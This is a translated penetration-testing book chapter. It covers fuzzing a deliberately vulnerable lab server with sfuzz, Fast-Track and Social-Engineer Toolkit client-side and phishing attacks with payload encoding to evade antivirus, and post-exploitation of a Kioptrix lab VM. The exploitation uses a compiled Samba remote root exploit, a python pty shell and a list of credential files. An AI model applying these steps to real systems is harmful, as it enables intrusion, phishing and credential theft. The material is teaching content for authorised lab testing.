由 Aaron Conole 创建的简单模糊器 SFUZZ 是一个很好的工具,如果你想认真开始进行模糊化业务。对于那些还没有准备好花时间来学习如何充分使用 SPIKE 的人来说,SFUZZ 是强大且有用的。此外,有时使用更小、更简单的工具更有效率。
如果您仍在学习利用开发,那么 SFUZZ 将成为一个很好的垫脚石,并且在未来的几年中肯定会继续成为您渗透测试知识库中的宝贵补充;有时,拥有快速且易于配置的工具非常方便!
浏览到/pentest/fuzzers/sfuzz
目录,并熟悉目录结构。如果没有参数调用 sfuzz,您将看到可用的启动开关:
/pentest/fuzzers/sfuzz# ./sfuzz
[23:11:45] error: must specify an output type.
Simple Fuzzer
By: Aaron Conole
version: 0.6.4
url: http://aconole.brad-x.com/programs/sfuzz.html
EMAIL: apconole@yahoo.com
Build-prefix: /usr/local
-h This message.
-V Version information.
networking / output:
-v Verbose output
-q Silent output mode (generally for CLI fuzzing)
-X prints the output in hex
-b Begin fuzzing at the test specified.
-e End testing on failure.
-t Wait time for reading the socket
-S Remote host
-p Port
-T|-U|-O TCP|UDP|Output mode
-R Refrain from closing connections (ie: "leak" them)
-f Config File
-L Log file
-n Create a new logfile after each fuzz
-r Trim the tailing newline
-D Define a symbol and value (X=y).
-l Only perform literal fuzzing
-s Only perform sequence fuzzing
虽然有示例脚本可用,但如果我们想要能够模糊化 vulnserver 应用程序,我们需要创建自己的脚本。在sfuzz-sample
目录中创建以下名为basic.verserver
的脚本:
include basic-fuzz-strings.list
reqwait=800
maxseqlen=2010
endcfg
KSTET FUZZ
--
FUZZ
--
LHLO FUZZ
--
在这个脚本中,我们指示 sfuzz 在执行模糊化活动时使用basic-fuzz-strings.list
。然后我们添加了 200 毫秒的延迟,并将序列长度限制为 2010。这个模糊器非常简单,然后列出要发送的命令,然后是由应用程序用模糊输出替换的 FUZZ 变量。我们必须保存文件,确保 vulnserver 正在 4444 端口上运行,然后继续启动 sfuzz 脚本:
# ./sfuzz -e -S 127.0.0.1 -p 4444 -TO -f /sfuzz-sample/basic.vserver
这将启动模糊化过程,并让您看到正在传递的数据。可以使用一种技术进行非常快速的扫描,以查看是否发生任何崩溃,然后使用更精细的参数再次运行扫描,并以较慢的速度进行。这将确保异常很容易被捕获。
正如预期的那样,我们的模糊器脚本能够使用以下输出使 vulnserver 崩溃:
==============================================================
[23:58:30] attempting fuzz - 31.
KSTET AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
[23:58:30] info: tx fuzz - (2017 bytes) - scanning for reply.
[23:58:31] read:
Welcome to Vulnerable Server! Enter HELP for help.
再次,测试没有捕捉到失败,sfuzz 继续向应用程序发送数据。
注意
还记得我们在本章前面编写的可利用程序"fuzzme"吗?挑战自己使用 sfuzz 来模糊化 fuzzme 程序!提示:使用basic.cmd
作为编写脚本的指南。
正如先前所述,模糊化的艺术可能非常有用,但掌握它需要专注和持续的练习。
Fast-Track
渗透测试通常受到特定时间范围的限制。这是许多渗透测试人员的主要抱怨,因为毕竟,野外的攻击者根本不受这些业务强加的时间范围的限制。幸运的是,我们可以依靠诸如 Metasploit、SET 或 Fast-Track 之类的工具,尽快地扩大范围。Fast-Track 是由 David Kennedy(又名 ReL1K)和 Joey Furr(又名 j0fer)开发的,用于自动化渗透测试人员经常需要执行的许多攻击。
Fast-Track 是一个菜单驱动且设计精美的工具,它使您能够快速执行诸如生成有效负载、快速设置客户端攻击,甚至将有效负载从二进制转换为十六进制等任务。
注意
Fast-Track 可以通过命令行(-c)、浏览器 GUI(-g)或交互式菜单驱动控制台(-i)使用,只需在调用程序时添加适当的参数。与任何渗透测试工具一样,请在使用 Fast-Track 之前阅读许可文件和警告。渗透测试工具应该只用于您有适当和合法权限进行测试的系统。
我们将只使用这个强大工具的一部分,但了解其所有功能对于任何渗透测试人员来说都是一个有价值的补充。
Fast-Track 可以在 BackTrack 5 R1 的/pentesting/exploits/fastrack
中找到。要以 Web GUI 模式启动程序,只需键入:
# ./fast-track.py -g
----------------------------------------------------------------
Fast-Track - A new beginning...
Automated Penetration Testing
Written by David Kennedy (ReL1K)
Please read the README and LICENSE before using
this tool for acceptable use and modifications.
-------------------------------------------------------------
Modes:
Interactive Menu Driven Mode: -i
Command Line Mode: -c
Web GUI Mode -g
Examples: ./fast-track.py -i
./fast-track.py -c
./fast-track.py -g
./fast-track.py -g <portnum>
Usage: ./fast-track.py <mode>
***********************************************
******* Performing dependency checks... *******
***********************************************
*** FreeTDS and PYMMSQL are installed. (Check) ***
*** PExpect is installed. (Check) ***
*** ClientForm is installed. (Check) ***
*** Psyco is installed. (Check) ***
*** Beautiful Soup is installed. (Check) ***
Also ensure ProFTP, WinEXE, and SQLite3 is installed from
the Updates/Installation menu.
Your system has all requirements needed to run Fast-Track!
****************************************
Fast-Track Web GUI Front-End
Written by: David Kennedy (ReL1K)
****************************************
Starting HTTP Server on 127.0.0.1 port 44444
*** Open a browser and go to http://127.0.0.1:44444 ***
Type <control>-c to exit..
此命令已启动了由 David Kennedy 编写的 Fast-Track Web GUI。打开 Firefox 并浏览到http://127.0.0.1:44444
,如指示。
侧边栏菜单包括我们在使用菜单驱动用户界面时将要讨论的许多选项。浏览菜单并熟悉应用程序。
注意
除非您完全了解自己在做什么,BackTrack 机器被分割并且不在互联网或生产环境中,否则不要发动任何攻击。
退出浏览器并取消 Fast-Track。在命令行中键入以下内容以打开菜单驱动的 Fast-Track 界面:
# ./fast-track.py -i
***********************************************
******* Performing dependency checks... *******
***********************************************
*** FreeTDS and PYMMSQL are installed. (Check) ***
*** PExpect is installed. (Check) ***
*** ClientForm is installed. (Check) ***
*** Psyco is installed. (Check) ***
*** Beautiful Soup is installed. (Check) ***
Also ensure ProFTP, WinEXE, and SQLite3 is installed from
the Updates/Installation menu.
Your system has all requirements needed to run Fast-Track!
[---] [---]
[---] Fast Track: A new beginning [---]
[---] Written by: David Kennedy (ReL1K) [---]
[---] Lead Developer: Joey Furr (j0fer) [---]
[---] Version: 4.0.1 [---]
[---] Homepage: http://www.secmaniac.com [---]
[---] [---]
Fast-Track Main Menu:
1\. Fast-Track Updates
2\. Autopwn Automation
3\. Nmap Scripting Engine
4\. Microsoft SQL Tools
5\. Mass Client-Side Attack
6\. Exploits
7\. Binary to Hex Payload Converter
8\. Payload Generator
9\. Fast-Track Tutorials
10\. Fast-Track Changelog
11\. Fast-Track Credits
12\. Exit Fast-Track
Enter the number:
更新 Fast-Track
与任何其他工具一样,我们在开始之前应该更新所有内容。键入1选择 Fast-Track 更新,然后按Enter:
Enter the number: 1
Fast-Track Update Menu:
1\. Update Fast-Track
2\. Metasploit 3 Update
3\. Update Exploit-DB Exploits
4\. Update Gerix Wifi Cracker NG
5\. Update Social-Engineer Toolkt
(q)uit
Enter number:
按顺序使用 1-3 从 1 到 3 选择更新 Fast-Track、Metasploit 3 更新和 Exploit-DB 漏洞。更新完成后,使用q退出返回到主菜单。
使用 Fast-Track 进行客户端攻击
Fast-Track 包括一个选项,可以设置一个网页,利用客户端机器易受攻击的任何已知漏洞。除了让某人访问您的机器之外,所有工作都已经完成。如果您的测试范围包括网络钓鱼,您可以在电子邮件中制作特定消息,并让用户点击链接返回 Fast-Track 为您设置的页面。
从菜单中选择选项5. 大规模客户端攻击,然后按Enter。
您需要输入要监听的 IP 地址。我正在使用的 BackTrack 机器在VLAN1
上监听192.168.1.205
。您需要知道您的 IP 地址是什么,并在此处输入。
Enter the IP Address to listen on: 192.168.1.205
在提示输入要使用的有效负载时,选择2. 通用绑定 Shell,然后按Enter。
键入no
来 ARP 欺骗主机。除非您知道自己在做什么并完全了解 ARP 欺骗及其固有风险,否则不建议使用此选项。如果您在分割的实验室环境中,看到这个功能是令人难以置信的,所以您一定要深入了解它!
您将看到一个新的弹出命令提示符,类似于以下内容:
现在任何连接到该服务器的系统都将遇到以下网页:
如果连接到这个网站的系统容易受到 Fast-Track 尝试的任何漏洞的影响,您将看到一个通用绑定 Shell。
提示
我们将在后期利用章节中重新讨论这个功能,在那里我们将充分利用一个单元,并跟进后期利用阶段。在这一点上,最重要的是要了解不仅对渗透测试人员,而且对公众来说可用的工具类型。如果您正在测试的企业容易受到 Mass Client Attack Web Server 针对的漏洞的影响,那么受影响的系统尽快更新和加固是非常重要的。
Fast-Track 中的选项都有很好的文档,网络功能提供了这个工具的很好的演练。使用您的实验室尝试一些漏洞利用,特别是如果您有 Windows XP 许可证。
社会工程工具包
社会工程工具包(SET)是由 David Kennedy [ReL1K]和 SET 开发团队 JR DePre [pr1me],Joey Furr [j0fer]和 Thomas Werth 创建的。该工具包提供了各种各样的攻击方式,对于那些认真进行渗透测试的人来说,这是一个绝对“必备品”。我们只会对社会工程工具包进行简要介绍。SET 使用简单,SET 开发团队已经创建了出色的文档,可以在www.social-engineer.org/framework/Computer_Based_Social_Engineering_Tools:_Social_Engineer_Toolkit_(SET)
免费获取。
SET 已经预装在 BackTrack 上,并且可以在命令行中调用:
/pentest/exploits/set# ./set
注意
在您使用软件之前,您必须阅读并接受 BSD 许可协议,并且您不会将此工具用于任何非法行为。此协议也涵盖了任何将来的使用,一旦接受了,您将不会再次被提示,只需按Y(es)。
更新框架后(记得在升级后再次断开与互联网的连接!),选择1)社会工程攻击以获得可以执行的可能攻击的列表:
Select from the menu:
1) Spear-Phishing Attack Vectors
2) Website Attack Vectors
3) Infectious Media Generator
4) Create a Payload and Listener
5) Mass Mailer Attack
6) Arduino-Based Attack Vector
7) SMS Spoofing Attack Vector
8) Wireless Access Point Attack Vector
9) Third Party Modules
99) Return back to the main menu.
我们将从网站向量开始。输入2以进入下一个菜单。在这个例子中,我们将查看列表上的第一个选项。
1) Java Applet Attack Method
2) Metasploit Browser Exploit Method
3) Credential Harvester Attack Method
4) Tabnabbing Attack Method
5) Man Left in the Middle Attack Method
6) Web Jacking Attack Method
7) Multi-Attack Web Method
8) Victim Web Profiler
9) Create or import a CodeSigning Certificate
99) Return to Main Menu
下一个菜单提供了三个选项。在这个例子中,我们将使用其中一个提供的模板:
[TRUNCATED…]
1) Web Templates
2) Site Cloner
3) Custom Import
99) Return to Webattack Menu
set:webattack>1
在下一个菜单中,选择1.需要 Java作为您的模板。
1\. Java Required
2\. Gmail
3\. Google
4\. Facebook
5\. Twitter
set:webattack> Select a template:1
当被问及要使用哪种有效载荷时,请仔细查看选项,并选择选项 3,即反向 TCP VNC 服务器。
我们将选择 Backdoored 可执行文件作为我们的有效载荷。开发团队为每种编码器类型提供了评级。有时您可能需要尝试不同类型,直到找到适合您测试需求的类型。这些编码器将帮助您绕过主机上存在的防病毒软件。
防病毒软件通常是基于签名的,因此如果您能够改变文件的签名,防病毒保护将无法检测到您的有效载荷。
选择默认的监听端口 443 并按Enter继续。就是这样!现在您所要做的就是等待有人连接到您的 Web 服务器。如果您有一个可用的 Windows 机器并浏览到该网站,您将看到以下网站:
我们将在后期利用章节中重新讨论这个练习,我们将充分利用目标系统并从中控制网络。
摘要
客户端攻击通常是进入受保护环境的最简单方法。我们知道,通过巧妙地利用不同的攻击向量,攻击者能够利用用户的经验不足或善良来访问客户端计算机。开发人员通常无法在规定的时间内检查其程序的每个可能的缺陷,因此许多这些漏洞都未被质量保证团队和开发人员发现。
在这一章中,我们不仅有机会了解缓冲区溢出漏洞,而且实际上创建了我们自己的易受攻击的应用程序。然后,我们利用了这个漏洞,使用手动技术以及自动模糊测试工具,如 sfuzz 和 bed。我们学会了如何创建我们自己的模块,以及如何修改现有的模块以适应我们的特定需求。
此外,我们讨论了 Fast-Track 和社会工程工具包,并演示了在 Fast-Track 中设置大规模网络攻击和在 SET 中进行 Java 小程序攻击的步骤。利用这些演示中获得的知识,您应该能够在家庭实验室中审查和测试其他选项,直到您能够在生产测试环境中熟练使用这些工具。在审查 SET 时,我们还涉及了防病毒和重新打包我们的有效负载。在未来的章节中,我们将重新审视这些工具,完全利用并控制受控网络环境。
在下一章中,我们将学习定位和收集受损主机信息所需的步骤。这个阶段包括学习执行后期利用所需的最常用命令,以及提升特权和向受损机器添加持久访问权限等步骤。
第七章:后期利用
渗透测试中经常被忽视的是后期利用。过去,许多人甚至认为一旦在远程目标机器上打开了一个 shell,工作就完成了。目标导向的渗透测试将需要更多。必须有一个具体的目标,比如访问关键数据库,或者获取关键凭证,使攻击者能够阅读私人企业电子邮件,才能使渗透测试具有价值。业主和经理们关心保护其资产和数据的机密性、完整性和可用性。报告说一个随机系统很容易被攻破,与提供攻击者可能轻松造成公司数百万美元的损失的有关关键系统的漏洞的具体证据相比,意义不大。
在本章中,我们将涵盖许多感兴趣的领域,包括:
-
关于后期利用的规则的参与
-
数据收集技术
-
获取存储的凭证
-
权限提升
提示
尽管我们很想这样做,但我们无法为您作为渗透测试人员所面临的每种情况提供直接的逐步指导。我们希望我们提供的指导能够帮助您发展必要的技能和心态,以正确检查和验证受保护环境的安全性。渗透测试需要奉献精神和发现并采取行动的能力。有许多特定利用和后期利用的方法,但如果没有适当的技术理解和背景,这些方法只会导致混乱。花时间充分了解正在测试的操作系统和技术对于任何渗透测试来说都是至关重要的。
规则的参与
在目标导向的渗透测试期间,环境将使用类似于野外攻击者使用的技术进行评估。在此情况下,规则的参与是绝对关键的,必须仔细遵守。在渗透测试的后期利用阶段,可能会泄露敏感数据;必须遵循政府法规的系统可能会成为目标,或者可能会发现硬编码的密码。务必让客户意识到这一事实,并准备必要的文件,明确详细说明什么是可以接受的,什么是不可以接受的。在某些情况下,您可能能够同时测试开发环境和生产环境;如果是这种情况,请务必注意从开发到生产的密码重用。
注意
**警告:**规则的参与对于渗透测试的所有阶段都非常重要,但在后期利用方面尤为重要。如果您对后期利用或任何其他阶段的规则的参与有任何疑问,请在为任何人执行渗透测试之前寻求法律咨询,以确保所有方面都得到覆盖。
什么是允许的?
评估渗透测试的目标,并确定需要完成什么才能证明存在一个或多个可利用的漏洞,从而实现目标。例如,如果需要进行一次拒绝服务攻击,将本地资源转移到解决问题上,您是否被允许执行?企业是否明白,攻击一个看似不重要的系统可能会给您提供攻击更重要目标的机会,而他们正忙于解决“问题”?您的团队中有多少人被允许执行商定的任务?考虑所有可能性,然后确保它们都是必要的,并且在进行测试之前得到批准。除非事先与客户讨论过,否则仅仅获得系统上的 VNC 会话可能会违反您的参与规则。
注意
视频和语音捕获(考虑 VOIP)可能受到您所在国家或地区法律的限制。不要违法。研究一切,并在需要时寻求法律建议。
您能修改任何东西吗?
您所针对的环境是否允许您添加或删除帐户、更改日志文件或通过枢纽发动内部攻击?如果是这样,您的客户是否批准这一切以及涉及的所有风险?尽管看起来很简单,但所有事情都需要在规则中得到解决。不应该做任何假设。要测试一个实际的安全环境将需要大量的规划和深思熟虑,以确保您拥有真正测试环境所需的权限,并模仿实际攻击者可能使用的攻击。
注意
只执行确实需要实现目标的攻击。例如,在大多数环境中删除数据库表不是一个好主意。通常有更少侵入性的方法来证明已经获得对关键数据库服务器的管理员访问权限。
您是否允许添加持久性?
在对大型网络进行测试时,可能需要向关键系统添加持久性。这将允许您绕过测试期间进行的任何限制或更改。这也模仿了攻击者通常会采取的行动。毕竟,如果在系统上获得 rootshell,却被公司的补丁周期阻止,那会多么令人沮丧。但是,如果发生这种情况,请务必赞扬安全团队!
应考虑不同类型的持久性;您是否被允许 root kit 一台机器,还是只安装等待端口的进程?对现有服务设置后门,或者在您敲击某些端口时启动任务呢?持久性有不同的级别,取决于规模和配置,持久性可以让测试人员的生活变得更加轻松。确定达到目标所需的内容,并确保在测试之前已经覆盖了所有权限。
您和您的团队如何处理收集和存储的数据?
从客户资产收集的数据应该小心保护。在测试之前设立关于密码管理、报告、第三方参与(您使用什么来破解这些密码哈希?)以及涉及客户数据的其他一切规则。事先达成一致,关于如何传输、存储和清理这些数据,以便事后没有疑问。另一个需要注意的事项是,您将如何处理任何表明有未知且可能敌对的攻击者已经进入网络的事件或信息。第三方安全事件响应团队有非常具体的方法来处理这些情况,以确保事件得到适当处理。
员工数据和个人信息
了解与每个具体工作相关的员工信息的法律法规和政策。如果系统上包含的信息不属于客户,他们是否能够授权您查看、可能复制和存储这些数据?建议使用经过法律顾问审查的良好合同,这些法律顾问熟悉这类工作。
数据收集、网络分析和掠夺
一旦系统被入侵,建议对设备进行全面枚举。任何有价值的线索或信息都需要快速有效地定位和管理。在这个阶段,重点应该是收集凭据并全面枚举已安装的服务、网络配置和访问历史。确定系统正在运行的网络或环境的类型也可能是有益的。网络是否分段,设备是否关联多个 IP,或者它实际上是虚拟化的,比如我们的测试网络?
注意
创建一个命令和程序列表,用于审查受损系统时的效率和有效性。拥有这样的行动计划也使报告阶段更容易,并消除了在测试阶段可能遗漏重要内容的机会。
Linux
许多公司正在转向开源操作系统以节省成本并保持竞争力。每种操作系统的特点都有微妙的差异,在尝试查找重要设置或信息时应予以注意和理解。
重要目录和文件
应审查运行 Linux 操作系统的受损系统上的以下文件:
目录或文件 | 描述 |
---|---|
/etc/passwd | 此文件包含所有系统用户帐户的列表。 |
/etc/ftpusers | 提供允许访问 FTP 服务器的用户列表。 |
/etc/pam.d | 包含可插拔认证模块(PAM)配置文件的非常有用的目录。较旧的安装可能使用/etc/pam.conf 。 |
/etc/shadow | 密码存储在此文件中。它们需要被解密。 |
/etc/hosts.allow | 允许访问该系统的主机名列表。 |
/etc/hosts.deny | 访问控制机制,将限制对列出的系统的访问。 |
/etc/securetty | 允许根登录的 TTY 接口列表。 |
/etc/shutdown.allow | 可以关闭系统的用户帐户列表。 |
/etc/security | 安全策略。 |
/etc/init.d or /etc/rc.d/init.d | 服务和程序启动文件(例如/etc/init.d/apache 2 )。 |
/etc/ssh | 读取或修改 SSH 配置。 |
/etc/sysctl.conf | 内核选项。 |
/etc/sysconfig | 系统配置文件。 |
/etc/dhcpc | 包含有关 DHCP 连接的信息。 |
/var/log | 最有可能找到本地存储的日志文件的地方。 |
/var/log/messages | 存储系统消息的非常有趣的日志文件。 |
/var/log/wtmp | 显示当前登录用户的日志文件。 |
/var/log/lastlog | last 命令从这个日志文件中提取。 |
提示
一定要查找备份文件,它们可能包含您无法访问的关键数据!
重要命令
命令 | 描述 |
---|---|
ls -oaF | 列出所有文件,并使用符号使其更容易确定目录、可执行文件等,并按顺序列出。 |
locate | 执行搜索。例如:(locate awesomeVPNClient 将定位任何 awesomeVPNClient 的实例。如果您有流行 VPN 客户端名称的列表,这将非常有帮助)。 |
updatedb | 更新 locate 数据库。 |
grep | 非常强大的命令,允许您在文件中搜索字符串。 |
less | 使用 less 来阅读文件。 |
cat | 也可用于显示文件的内容。 |
df -H | 提供磁盘信息。 |
date | 可以尝试获取系统所在时区的概念。 |
free | 提供内存信息。 |
arch | 提供有关系统架构的信息。 |
echo | 可用于自动编写文件。只需输出指定的文本。 |
last | 将显示/var/last 日志文件。 |
logname | 提供您的登录名。 |
pwd | 打印工作目录。显示您在目录结构中的位置。 |
uname -a | 提供有关操作系统的信息。 |
netstat | 提供连接信息。 |
ifconfig or /sbin/ifconfig | 网络接口配置。 |
udevd version | 打印 udev 版本。 |
find / -type f perm 777 | 查找所有权限为 777 的文件。 |
还有许多其他有用的命令,但这些应该提供枚举远程系统和收集大部分(如果不是全部)有趣信息所需的基本信息。
注意
管理员有时会使某些文件不可变。当您遇到无法删除某个文件的情况时,使用lsattr
来查看文件属性。
将这些信息用于实际操作
现在我们已经知道了我们想要审查的文件类型和命令输出类型,让我们把其中一些用起来。为了跟随本节,您需要将虚拟 pfSense、Backtrack 和 Kioptrix 级别 1 客户机连接到 VLAN1,使用 192.168.75.0/24 IP 空间。
枚举
我们将从 BackTrack 开始利用 Kioptrix 系统。在我们进行后期利用之前,我们需要找到并利用一个系统。通常情况下,我们首先对我们的本地子网进行快速扫描:
# nmap 192.168.75.0/24
您的结果会有所不同,但您应该能够在您的网络上找到 Kioptrix 机器:
Nmap scan report for 192.168.75.14
Host is up (0.00031s latency).
Not shown: 994 closed ports
PORT STATE SERVICE
22/tcp open ssh
80/tcp open http
111/tcp open rpcbind
139/tcp open netbios-ssn
443/tcp open https
32768/tcp open filenet-tms
MAC Address: 08:00:27:21:21:62 (Cadmus Computer Systems)
现在已确定了目标的 IP 地址,我们将进行更彻底的扫描。使用您选择的命令来收集必要的系统信息:
# nmap -A 192.168.75.14
Starting Nmap 5.61TEST2 ( http://nmap.org ) at 2012-01-02 13:52 EST
Nmap scan report for 192.168.75.14
Host is up (0.0047s latency).
Not shown: 994 closed ports
…TRUNCATED OUTPUT…
利用
我们重复利用之前的 samba 漏洞来访问系统samba-2.2.8 < remote root exploit by eSDee ([www.netric.org|be](http://www.netric.org|be))
。如果您没有在利用章节中跟随,请转到/pentest/exploits/exploitdb
,搜索samba exploit 10.c
,清理代码并通过gcc -o SambaVuln_10 10.c
在一个目录中编译它为 SambaVuln_10。如果您在编译此代码时遇到问题,请重新查看适当的章节以获得逐步演练。
注意
请记住,您可以通过转到/pentest/exploits/exploitdb
并使用./searchexploit
命令,然后使用搜索变量如./searchsploit openssl
来执行本地 exploit 库的 Exploit-DB 搜索。
# ./SambaVuln_10 -b 0 192.168.75.14
samba-2.2.8 < remote root exploit by eSDee (www.netric.org|be)
--------------------------------------------------------------
+ Bruteforce mode. (Linux)
+ Host is running samba.
+ Worked!
--------------------------------------------------------------
*** JE MOET JE MUIL HOUWE
Linux kioptrix.level1 2.4.7-10 #1 Thu Sep 6 16:46:36 EDT 2001 i686 unknown
uid=0(root) gid=0(root) groups=99(nobody)
已连接,现在该怎么办?
现在我们远程连接后,开始收集有关系统的数据变得很重要。
注意
请注意,您的远程 shell 的功能并不等同于您的标准 Linux shell 的功能。
您可能已经注意到您没有收到命令提示符。查看您连接到的tty
:
tty
not a tty
由于您当前正在以 root 身份运行,大多数我们想要访问的命令都将可用:
# whoami
root
例如,如果您想直接连接回您的 BackTrack(192.168.75.25
)机器使用 SSH,您可能会遇到这样的问题:
# ssh 192.168.75.25
Pseudo-terminal will not be allocated because stdin is not a terminal.
Aborted by user!
当时间紧迫,需要在测试完成之前审查许多系统时,这可能会令人沮丧。您可以尝试使用 Python 生成一个 shell:
# python -c 'import pty; pty.spawn("/bin/sh")'
不幸的是,这并不总是有效。幸运的是,一旦我们在目标系统上有足够的访问级别,就有很多其他方法可以绕过这个问题。如果您尝试在 Kioptrix 级别 1 机器上使用当前的 shell 生成一个 shell,这是输出:
Traceback (innermost last):
File "<string>", line 1, in ?
File "/usr/lib/python1.5/pty.py", line 101, in spawn
mode = tty.tcgetattr(STDIN_FILENO)
termios.error: (22, 'Invalid argument')
注意
这是需要渗透测试人员的心态的一个很好的例子。当一种方法失败时,尝试另一种方法是很重要的。在进行渗透测试时,放弃不是一个选项,特别是在测试环境中有许多安全控制和流程的情况下。
远程系统上有哪些工具可用
在开始之前,快速枚举可用工具可能是有益的。例如,知道已经安装并准备好使用 GCC 编译器可以影响您想要进行的后期利用活动的类型。在开始我们的努力之前,这里是一些我们应该检查的工具和功能:
工具 | 命令 | Kioptrix 输出 |
---|---|---|
bash | which bash | /bin/bash |
curl | which curl | /usr/bin/curl |
ftp | which ftp | /usr/bin/ftp |
gcc | which gcc | /usr/bin/gcc |
iptables | which iptables | which: no iptables in (/usr/local/bin:/bin:/usr/bin) |
nc | which nc | which: no nc in (/usr/local/bin:/bin:/usr/bin) |
nmap | which nmap | /usr/bin/nmap |
ssh | which ssh | /usr/bin/ssh |
telnet | which telnet | /usr/bin/telnet |
tftp | which tftp | which: no tftp in (/usr/local/bin:/bin:/usr/bin) |
wget | which wget | /usr/bin/wget |
sftp | which sftp | /usr/bin/sftp |
通过充分了解目标机器的能力,我们可以确定下一步的行动计划。在 Kioptrix 机器的情况下,值得注意的是nmap
已经安装!如果系统可以访问多个网络,我们将能够利用这个工具从192.168.75.14
扫描远程网络。如果您已经从防火墙外部获得了 root shell,并且无法简单地从自己的机器上运行扫描,这一点尤为重要。
查找网络信息
我们首先要做的是确定系统连接到哪些网络。我们需要从设备中收集网络信息:
cd /sbin
./ifconfig
eth0 Link encap:Ethernet HWaddr 08:00:27:21:21:62
inet addr:192.168.75.14 Bcast:192.168.75.255 Mask:255.255.255.0
UP BROADCAST NOTRAILERS RUNNING MTU:1500 Metric:1
RX packets:6675 errors:0 dropped:0 overruns:0 frame:0
TX packets:1357 errors:0 dropped:0 overruns:0 carrier:0
collisions:0 txqueuelen:100
RX bytes:485701 (474.3 Kb) TX bytes:1108769 (1.0 Mb)
Interrupt:10 Base address:0xd020
lo Link encap:Local Loopback
inet addr:127.0.0.1 Mask:255.0.0.0
UP LOOPBACK RUNNING MTU:16436 Metric:1
RX packets:23 errors:0 dropped:0 overruns:0 frame:0
TX packets:23 errors:0 dropped:0 overruns:0 carrier:0
collisions:0 txqueuelen:0
RX bytes:3805 (3.7 Kb) TX bytes:3805 (3.7 Kb)
该系统只设置了一个以太网连接,我们已经知道了它(eth0 在192.168.75.14
)。重要的是要注意可能包含多个网络卡的网络配置。如果系统是虚拟化的或多宿主的,有可能用于进入以前无法访问的另一个网络。您还需要知道系统是否设置为路由器。ifconfig
中的多个网络是可能有更多内容可发现的良好指标。
提示
我们将审查许多命令和文件的数据。在撰写报告或尝试在您自己的实验室中重新创建网络进行进一步测试时,将需要这些数据。最简单的方法是将您的命令输出导入到一个单个文件中,然后可以下载进行审查。
系统包含许多其他网络信息。让我们下载一些这些数据进行审查。
查看 ARP 表后,我们确定目标网络上有一台 pfSense 机器:
./arp
Address HWtype HWaddress Flags Mask Iface
pfSense.localdomain ether 08:00:27:CA:23:C6 C eth0
192.168.75.25 ether 08:00:27:87:C5:F5 C eth0
我们需要查看我们的主机文件,以确定是否有我们不知道的任何限制。如果主机中指定了某些系统,我们可以使用hosts.allow
或hosts.deny
中的信息来帮助设置攻击优先级。文件包含非常描述性的注释;因此我们不会重复它们的用途。
cd /etc
cat hosts
# Do not remove the following line, or various programs
# that require network functionality will fail.
#127.0.0.1 localhost.localdomain localhost
